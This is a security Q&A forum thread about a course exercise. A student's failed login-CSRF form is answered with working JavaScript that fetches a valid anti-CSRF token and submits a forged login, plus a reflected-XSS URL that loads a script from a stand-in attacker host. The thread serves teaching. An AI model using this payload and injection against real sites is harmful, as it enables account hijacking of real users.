3

in my security course, we were told to practice an xss attack using firefox on this website;

http://permalink.co/            

No worries, this is a website specifically setup for us to practice security. The csrf field you see should be set to 1 (for token validation, token is random) and the xss field should be set to 0 for this practice. We should write an html file and include other languages like javascript, such that when our file is executed by the browser, it should just display a blank page. But when refreshed, it should show that we are logged into the website I gave above. The username is 'attacker, and the password is 'l33th4x'.

I basically need to lock in password, username, and token. I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set. But my code doesn't work, I was told I need two forms, first one for setting the cookie token to 'abc' and second one for logging in using the three parameters. But I don't see what to put in the 1st form. I came up with the code below but it doesn't work, I need help;

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>   
<head>       
<title> set csrf to 0 and xss to 4 on http://permalink.co/ </title>        
</head>
<body>
<iframe style="border:none;width:0px;height:0px" id="iframe_submit"    name="iframe_submit"></iframe>        
<form id="form_id" action="http://permalink.co/login" method="POST" target="iframe_submit">       
<input type="hidden" name = "csrf_token" value="abc"><br>
<input type="hidden" name = "username" value="attacker"><br>        
<input type="hidden" name = "password" value="l33th4x"><br>    
</form>
<script type="text/javascript">
document.setcookie="csrf_token=abc";
document.forms["form_id"].submit();                              
</script>
</body>
</html>

For a first hand view of the question, visit the website below and look for number 2.1. This was due last month but I didn't understand it and exams are approaching; https://www.eecs.umich.edu/courses/eecs388/static/388-w15-proj2.pdf

closed as off-topic by schroeder, Jens Erat, Xander, Iszi, Graham Hill Mar 11 '15 at 10:19

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – schroeder, Jens Erat, Xander, Iszi, Graham Hill
If this question can be reworded to fit the rules in the help center, please edit the question.

1

I came up with the code below but it doesn't work

That's because you are performing a CSRF attack, but in exercise 2.1 there is actually an anti-CSRF token preventing this. You have to exploit the XSS vulnerability here.

I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set.

This also will not work (at least not if the programmer is competent enough to implement anti-CSRF protection correctly). The token for comparing the form token is not stored in the cookie, but in the session, so it cannot be set by you.

Bypass CSRF via XSS

The point of this exercise is for you to see that CSRF prevention is useless when there is an XSS vulnerability anywhere in the website (not just the page you want to attack).

Here is the code (you might have to adjust some of the variable values):

    var csrfProtectedPage = 'http://permalink.co/login';
    var csrfProtectedForm = 'form';

    // get valid token for current request
    var html = get(csrfProtectedPage);
    document.body.innerHTML = html;
    var form = document.getElementById(csrfProtectedForm);
    var token= form.token.value;

    // build form with valid token and evil credentials
    document.body.innerHTML 
     += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
     + '<input type="hidden" name="csrf_token" value="' + token + '">'
     + '<input id="userpass" name="password" value="evilPass">'
     + '<input id="username" name="username" value="evilUser">'
     + '</form>';

    // submit form
    document.forms["myform"].submit();

    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }

Then send your victim to http://permalink.co/search?q=<script src="http://evil.attacker/script.js"></script> (if you don't want them to click, but to just visit your website, load it as an image).

The idea is to inject javascript into the vulnerable site which loads the login page, gets a token, and then sends out the form with the valid token.

Bypass CSRF without XSS

It would be interesting to know the answer to question 2.2 in your document (the attack above, but without XSS).

You might think that you can just perform the same steps without the XSS vulnerability, but this is not possible because of the same origin policy (you cannot access data from a different origin with Javascript, so the attack fails at the get step which loads the form).

  • you are free to give away the complete answer, it was due long ago. am basically making corrections – user124627 Mar 10 '15 at 18:04
  • @user124627 sorry, my previous approach didn't actually work (it loaded the login form twice (don't know why), and thus send the wrong token). I updated it with code that does work (tested it locally). – tim Mar 10 '15 at 18:59

Not the answer you're looking for? Browse other questions tagged or ask your own question.